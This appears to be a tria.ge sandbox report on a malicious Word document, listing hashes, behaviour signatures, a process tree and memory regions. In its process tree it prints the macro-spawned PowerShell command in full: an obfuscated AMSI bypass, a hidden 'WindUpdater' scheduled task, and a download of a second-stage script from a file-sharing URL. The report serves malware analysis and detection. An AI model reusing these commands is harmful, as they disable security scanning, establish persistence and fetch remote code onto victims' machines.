Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    101s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 15:02

General

  • Target

    f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc

  • Size

    1.1MB

  • MD5

    ca09b19b6975e090fb4eda6ced1847b1

  • SHA1

    a7a2f5f7a70dab85f6ee173b9cde4507ed723ac5

  • SHA256

    f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3

  • SHA512

    c536808f3c015a4473b50817cc3181763348428652903aad26697865ba83de4ac97f4bd7977bc986133e44582913065c68b9c882e6e7ff2d8a59e45c8d0e57cb

  • SSDEEP

    12288:fDmofgI7jf+hXEX62Jp7GqRCXCXCXB3ClforCz2XCKk2XC/kZnR99Wduz:fKCgI72qkZnR99O

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:392
      • C:\Windows\system32\systeminfo.exe
        "C:\Windows\system32\systeminfo.exe"
        3⤵
        • Gathers system information
        PID:2340
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"
        3⤵
        • Creates scheduled task(s)
        PID:4812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_541sqtvl.xoz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/392-562-0x000001938B5D0000-0x000001938B5F2000-memory.dmp

    Filesize

    136KB

  • memory/392-579-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp

    Filesize

    10.8MB

  • memory/392-567-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp

    Filesize

    10.8MB

  • memory/392-569-0x00000193A3D10000-0x00000193A3D20000-memory.dmp

    Filesize

    64KB

  • memory/392-568-0x00000193A3D10000-0x00000193A3D20000-memory.dmp

    Filesize

    64KB

  • memory/2804-12-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp

    Filesize

    64KB

  • memory/2804-1-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-14-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-3-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-6-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-4-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-15-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-16-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-17-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp

    Filesize

    64KB

  • memory/2804-18-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-19-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-20-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-21-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-2-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-22-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-13-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-0-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-11-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-7-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-9-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-10-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-8-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-5-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-585-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-586-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-605-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-606-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-607-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-608-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

    Filesize

    64KB

  • memory/2804-609-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

    Filesize

    2.0MB